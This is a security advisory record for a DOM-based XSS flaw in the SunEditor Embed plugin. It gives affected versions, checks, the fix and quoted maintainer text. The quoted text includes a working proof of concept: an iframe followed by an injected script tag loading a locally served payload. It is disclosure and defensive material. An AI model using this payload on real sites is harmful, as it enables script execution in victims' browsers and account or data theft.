---
id: "CVE-2026-54606"
kind: "vulnerability"
aliases: ["CVE-2026-54606", "GHSA-w93q-cq9w-58p7"]
title: "SunEditor Embed Plugin has DOM XSS via External Script Element After Iframe Embed"
severity: "high"
cvss: 8.5
epss: 0.00581
exploited: false
status: "open"
category: "package"
products: [{"name": "suneditor", "fixed": ["3.1.4"], "affected": ">= 3.0.0, <= 3.1.3", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["cwe-79", "javascript", "npm", "package", "suneditor", "web-editor"]
not_affected_if: ["embed-plugin-disabled", "server-side-sanitization", "version-3.1.4-or-later"]
published_at: "2026-08-26T15:26:24+00:00"
first_seen_at: "2026-10-30T16:59:39+00:00"
updated_at: "2026-10-30T17:01:26+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-w93q-cq9w-58p7", "first_seen_at": "2026-10-30T16:59:39+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54606", "first_seen_at": "2026-10-30T17:01:26+00:00"}]
---

# SunEditor Embed Plugin has DOM XSS via External Script Element After Iframe Embed

The SunEditor Embed plugin recreates an attacker-supplied script element after a valid iframe and appends it to the live page, so the script runs. An attacker who can submit or store embed HTML can run JavaScript in another user's browser when that content is opened or rendered in SunEditor.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:suneditor affected >= 3.0.0, <= 3.1.3 fixed 3.1.4

## How to check

- Check the installed suneditor version with `npm ls suneditor` and compare it to the affected range `>= 3.0.0, <= 3.1.3`.
- Search your stored editor content and any HTML rendered from SunEditor output for `<script` elements that follow an `<iframe`.
- Confirm whether the Embed plugin is enabled in your editor configuration.

## Fix

- `suneditor` `3.1.4`
- The advisory's minimum mitigation is to skip script nodes in embed HTML rather than recreating them; the stronger fix is to allow only iframe or blockquote elements and sanitize their attributes.

## Timeline

- 2026-10-30T16:59:39+00:00 ghsa https://github.com/advisories/GHSA-w93q-cq9w-58p7
- 2026-10-30T17:01:26+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-54606

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/JiHong88/suneditor/security-advisories/GHSA-w93q-cq9w-58p7
- [advisory] Maintainer's advisory: github.com https://github.com/JiHong88/suneditor/security/advisories/GHSA-w93q-cq9w-58p7
- [fix] Patch: github.com https://github.com/JiHong88/suneditor/commit/9d43a5e082101d2d6475cba86e0d58d7c2cf6677
- [fix] Release: github.com https://github.com/JiHong88/suneditor/releases/tag/3.1.4

## From the sources

Summary

A DOM-based Cross-Site Scripting (XSS) vulnerability exists in the SunEditor Embed plugin. Crafted iframe embed HTML followed by an external <script src=...> element bypasses the plugin’s sanitization logic. The plugin recreates and appends the attacker-controlled script element to the live DOM, causing JavaScript execution in the context of the editor page.

If an application stores or reflects SunEditor content without additional backend sanitization, this can lead to stored or reflected XSS when another user opens, previews, renders, or edits the malicious content.

Details

The Embed plugin parses raw embed HTML and processes the resulting DOM nodes. When a <script> element is included after a valid iframe, the plugin creates a new script element using the attacker-controlled src value and appends it to the DOM.

Relevant behavior:

const embedDOM = new DOMParser().parseFromString(src, 'text/html').body.children;
if (/^script$/i.test(chd.nodeName)) {
  scriptTag = dom.utils.createElement('script', {
    src: chd.getAttribute('src'),
    async: 'true'
  }, null);
  continue;
}
cover.appendChild(scriptTag);

Because the script is newly created and appended, it executes.

PoC

Start a local server hosting a JavaScript payload:

```
mkdir -p /tmp/suneditor-poc
cd /tmp/suneditor-poc

cat > poc.js <<'EOF'
alert(1);
console.log("SunEditor Embed Plugin XSS executed");
EOF

python3 -m http.server 8000
```

Open SunEditor with the Embed plugin enabled, then insert the following payload through the Embed modal and save :

`<iframe src="https://youtube.com/embed/x"></iframe><script src="http://127.0.0.1:8000/poc.js"></script>
`
Successful exploitation is confirmed when:

`alert(1) appears`

or the local server logs:

`GET /poc.js`

Impact

An attacker who can provide or store embed HTML can execute arbitrary JavaScript in another user’s browser when the content is processed by SunEditor. This may allow account actions as the victim, modification of editor content, or access to sensitive data available in the editor page.

The issue is especially impactful when SunEditor content is stored in a backend and later reopened or rendered for administrators, editors, or other users without additional sanitization.

Suggested Fix

Do not recreate or append script elements from user-controlled embed HTML.

Minimum mitigation:

```
if (/^script$/i.test(chd.nodeName)) {
  continue;
}
```

A stronger fix is to allow only expected embed elements such as iframe or blockquote, sanitize their attributes, and discard all other sibling elements.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
